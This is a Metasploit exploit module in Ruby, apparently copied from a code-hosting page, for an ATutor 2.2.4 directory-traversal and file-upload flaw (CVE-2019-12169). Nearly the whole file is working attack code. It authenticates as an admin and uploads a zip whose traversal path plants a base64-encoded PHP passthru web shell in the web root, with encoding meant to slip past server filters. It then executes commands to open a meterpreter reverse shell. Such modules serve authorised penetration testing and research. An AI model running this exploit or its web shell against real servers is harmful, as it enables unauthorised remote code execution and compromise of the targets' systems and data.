354 lines
13 KiB
Ruby
354 lines
13 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'ATutor 2.2.4 - Directory Traversal / Remote Code Execution, ',
|
|
'Description' => %q{
|
|
This module exploits an arbitrary file upload vulnerability together with
|
|
a directory traversal flaw in ATutor versions 2.2.4, 2.2.2 and 2.2.1 in
|
|
order to execute arbitrary commands.
|
|
|
|
It first creates a zip archive containing a malicious PHP file. The zip
|
|
archive takes advantage of a directory traversal vulnerability that will
|
|
cause the PHP file to be dropped in the root server directory (`htdocs`
|
|
for Windows and `html` for Linux targets). The PHP file contains an
|
|
encoded payload that allows for remote command execution on the
|
|
target server. The zip archive can be uploaded via two vectors, the
|
|
`Import New Language` function and the `Patcher` function. The module
|
|
first uploads the archive via `Import New Language` and then attempts to
|
|
execute the payload via an HTTP GET request to the PHP file in the root
|
|
server directory. If no session is obtained, the module creates another
|
|
zip archive and attempts exploitation via `Patcher`.
|
|
|
|
Valid credentials for an ATutor admin account are required. This module
|
|
has been successfully tested against ATutor 2.2.4 running on Windows 10
|
|
(XAMPP server).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'liquidsky (JMcPeters)', # PoC
|
|
'Erik Wynter' # @wyntererik - Metasploit
|
|
],
|
|
'References' => [
|
|
['CVE', '2019-12169'],
|
|
['URL', 'https://github.com/fuzzlove/ATutor-2.2.4-Language-Exploit/'] # PoC
|
|
],
|
|
'Platform' => %w[linux win],
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'Targets' => [
|
|
[ 'Auto', {} ],
|
|
[
|
|
'Linux', {
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Platform' => 'linux',
|
|
'CmdStagerFlavor' => :printf,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Windows', {
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Platform' => 'win',
|
|
'CmdStagerFlavor' => :vbs,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2019-05-17',
|
|
'DefaultOptions' => {
|
|
'RPORT' => 80,
|
|
'SSL' => false,
|
|
'WfsDelay' => 3 # If exploitation via `Import New Language` doesn't work, wait this long before attempting exploiting via `Patcher`
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
|
|
'Reliability' => []
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options [
|
|
OptString.new('TARGETURI', [true, 'The base path to ATutor', '/ATutor/']),
|
|
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
|
|
OptString.new('PASSWORD', [true, 'Password to authenticate with', '']),
|
|
OptString.new('FILE_TRAVERSAL_PATH', [false, 'Traversal path to the root server directory.', ''])
|
|
]
|
|
end
|
|
|
|
def select_target(res)
|
|
unless res.headers.include? 'Server'
|
|
print_warning('Could not detect target OS.')
|
|
return
|
|
end
|
|
|
|
# The ATutor documentation recommends installing it on a XAMPP server.
|
|
# By default, the Apache server header reveals the target OS using one of the strings used as keys in the hash below
|
|
# Apache probably supports more OS keys, which can be added to the array
|
|
target_os = res.headers['Server'].split('(')[1].split(')')[0]
|
|
|
|
fail_with(Failure::NoTarget, 'Unable to determine target OS') unless target_os
|
|
|
|
case target_os
|
|
when 'CentOS', 'Debian', 'Fedora', 'Ubuntu', 'Unix'
|
|
@my_target = targets[1]
|
|
when 'Win32', 'Win64'
|
|
@my_target = targets[2]
|
|
else
|
|
fail_with(Failure::NoTarget, 'No valid target for target OS')
|
|
end
|
|
|
|
print_good("Identified the target OS as #{target_os}.")
|
|
end
|
|
|
|
def check
|
|
vprint_status('Running check')
|
|
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))
|
|
|
|
unless res
|
|
return CheckCode::Unknown('Connection failed')
|
|
end
|
|
|
|
unless res.code == 302 && res.body.include?('content="ATutor')
|
|
return CheckCode::Safe('Target is not an ATutor application.')
|
|
end
|
|
|
|
res = login
|
|
unless res
|
|
return CheckCode::Unknown('Authentication failed')
|
|
end
|
|
|
|
unless (res.code == 200 || res.code == 302) && res.body.include?('<title>Home: Administration</title>')
|
|
return CheckCode::Unknown('Failed to authenticate as a user with admin privileges.')
|
|
end
|
|
|
|
print_good("Successfully authenticated as user '#{datastore['USERNAME']}'. We have admin privileges!")
|
|
|
|
ver_no = nil
|
|
html = res.get_html_document
|
|
info = html.search('dd')
|
|
info.each do |dd|
|
|
if dd.text.include?('Version')
|
|
/(?<ver_no>\d+\.\d+\.\d+)/ =~ dd.text
|
|
end
|
|
end
|
|
|
|
@version = ver_no
|
|
unless @version && !@version.to_s.empty?
|
|
return CheckCode::Detected('Unable to obtain ATutor version. However, the project is no longer maintained, so the target is likely vulnerable.')
|
|
end
|
|
|
|
@version = Rex::Version.new(@version)
|
|
unless @version <= Rex::Version.new('2.4')
|
|
return CheckCode::Unknown("Target is ATutor with version #{@version}.")
|
|
end
|
|
|
|
CheckCode::Appears("Target is ATutor with version #{@version}.")
|
|
end
|
|
|
|
def login
|
|
hashed_pass = Rex::Text.sha1(datastore['PASSWORD'])
|
|
@token = Rex::Text.rand_text_alpha_lower(5..8)
|
|
hashed_pass << @token
|
|
hash_final = Rex::Text.sha1(hashed_pass)
|
|
|
|
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))
|
|
return unless res
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'login.php'),
|
|
'vars_post' =>
|
|
{
|
|
'form_login_action' => 'true',
|
|
'form_login' => datastore['USERNAME'],
|
|
'form_password' => '',
|
|
'form_password_hidden' => hash_final,
|
|
'token' => @token,
|
|
'submit' => 'Login'
|
|
}
|
|
)
|
|
|
|
return unless res
|
|
|
|
# from exploits/multi/http/atutor_sqli
|
|
if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
|
|
@cookie = "ATutorID=#{Regexp.last_match(4)};"
|
|
else
|
|
@cookie = res.get_cookies
|
|
end
|
|
|
|
redirect = URI(res.headers['Location'])
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, redirect),
|
|
'cookie' => @cookie
|
|
})
|
|
|
|
res
|
|
end
|
|
|
|
def patcher_csrf_token(upload_url)
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => upload_url,
|
|
'cookie' => @cookie
|
|
})
|
|
|
|
unless res && (res.code == 200 || res.code == 302)
|
|
fail_with(Failure::NoAccess, 'Failed to obtain csrf token.')
|
|
end
|
|
|
|
html = res.get_html_document
|
|
csrf_token = html.at('input[@name="csrftoken"]')
|
|
csrf_token = csrf_token['value'] if csrf_token
|
|
|
|
max_file_size = html.at('input[@name="MAX_FILE_SIZE"]')
|
|
max_file_size = max_file_size['value'] if max_file_size
|
|
|
|
unless csrf_token && csrf_token.to_s.strip != ''
|
|
csrf_token = @token # these should be the same because if the token generated by the module during authentication is accepted by the app, it becomes the csrf token
|
|
end
|
|
|
|
unless max_file_size && max_file_size.to_s.strip != ''
|
|
max_file_size = '52428800' # this seems to be the default value
|
|
end
|
|
|
|
return csrf_token, max_file_size
|
|
end
|
|
|
|
def create_zip_and_upload(exploit)
|
|
@pl_file = Rex::Text.rand_text_alpha_lower(6..10)
|
|
@pl_file << '.php'
|
|
register_file_for_cleanup(@pl_file)
|
|
@header = Rex::Text.rand_text_alpha_upper(4)
|
|
@pl_command = Rex::Text.rand_text_alpha_lower(6..10)
|
|
# encoding is necessary to evade blacklisting on server side
|
|
@pl_encoded = Rex::Text.encode_base64("\r\n\t\r\n<?php echo passthru($_GET['#{@pl_command}']); ?>\r\n")
|
|
|
|
if datastore['FILE_TRAVERSAL_PATH'] && !datastore['FILE_TRAVERSAL_PATH'].empty?
|
|
@traversal_path = datastore['FILE_TRAVERSAL_PATH']
|
|
elsif @my_target['Platform'] == 'linux'
|
|
@traversal_path = '../../../../../../var/www/html/'
|
|
else
|
|
# The ATutor documentation recommends Windows users to use a XAMPP server.
|
|
@traversal_path = '..\\..\\..\\..\\..\\../xampp\\htdocs\\'
|
|
end
|
|
|
|
@traversal_path = "#{@traversal_path}#{@pl_file}"
|
|
|
|
# create zip file
|
|
zip_file = Rex::Zip::Archive.new
|
|
zip_file.add_file(@traversal_path, "<?php eval(\"?>\".base64_decode(\"#{@pl_encoded}\")); ?>")
|
|
zip_name = Rex::Text.rand_text_alpha_lower(5..8)
|
|
zip_name << '.zip'
|
|
|
|
post_data = Rex::MIME::Message.new
|
|
|
|
# select exploit method
|
|
if exploit == 'language'
|
|
print_status('Attempting exploitation via the `Import New Language` function.')
|
|
upload_url = normalize_uri(target_uri.path, 'mods', '_core', 'languages', 'language_import.php')
|
|
|
|
post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{zip_name}\"")
|
|
post_data.add_part('Import', nil, nil, 'form-data; name="submit"')
|
|
elsif exploit == 'patcher'
|
|
print_status('Attempting exploitation via the `Patcher` function.')
|
|
upload_url = normalize_uri(target_uri.path, 'mods', '_standard', 'patcher', 'index_admin.php')
|
|
|
|
patch_info = patcher_csrf_token(upload_url)
|
|
csrf_token = patch_info[0]
|
|
max_file_size = patch_info[1]
|
|
|
|
post_data.add_part(csrf_token, nil, nil, 'form-data; name="csrftoken"')
|
|
post_data.add_part(max_file_size, nil, nil, 'form-data; name="MAX_FILE_SIZE"')
|
|
post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"patchfile\"; filename=\"#{zip_name}\"")
|
|
post_data.add_part('Install', nil, nil, 'form-data; name="install_upload"')
|
|
post_data.add_part('1', nil, nil, 'form-data; name="uploading"')
|
|
else
|
|
fail_with(Failure::Unknown, 'An error occurred.')
|
|
end
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => upload_url,
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
'cookie' => @cookie,
|
|
'headers' => {
|
|
'Accept-Encoding' => 'gzip,deflate',
|
|
'Referer' => "http://#{datastore['RHOSTS']}#{upload_url}"
|
|
},
|
|
'data' => post_data.to_s
|
|
})
|
|
|
|
unless res
|
|
fail_with(Failure::Unknown, 'Connection failed while trying to upload the payload.')
|
|
end
|
|
|
|
unless (res.code == 200 || res.code == 302)
|
|
fail_with(Failure::Unknown, 'Failed to upload the payload.')
|
|
end
|
|
print_status("Uploaded malicious PHP file #{@pl_file}.")
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(@pl_file),
|
|
'cookie' => @cookie,
|
|
'vars_get' => { @pl_command => cmd }
|
|
})
|
|
end
|
|
|
|
def exploit
|
|
res = login
|
|
if target.name == 'Auto'
|
|
select_target(res)
|
|
else
|
|
@my_target = target
|
|
end
|
|
|
|
# There are two vulnerable functions, the `Import New Language` function and the `Patcher` function
|
|
# The module first attempts to exploit `Import New Language`. If that fails, it tries to exploit `Patcher`
|
|
create_zip_and_upload('language')
|
|
print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")
|
|
|
|
if @my_target['Platform'] == 'linux'
|
|
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')
|
|
else
|
|
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'])
|
|
end
|
|
sleep(wfs_delay)
|
|
|
|
# The only way to know whether or not the exploit succeeded, is by checking if a session was created
|
|
unless session_created?
|
|
print_warning('Failed to obtain a session when exploiting `Import New Language`.')
|
|
create_zip_and_upload('patcher')
|
|
print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")
|
|
if @my_target['Platform'] == 'linux'
|
|
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')
|
|
else
|
|
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'])
|
|
end
|
|
end
|
|
end
|
|
end
|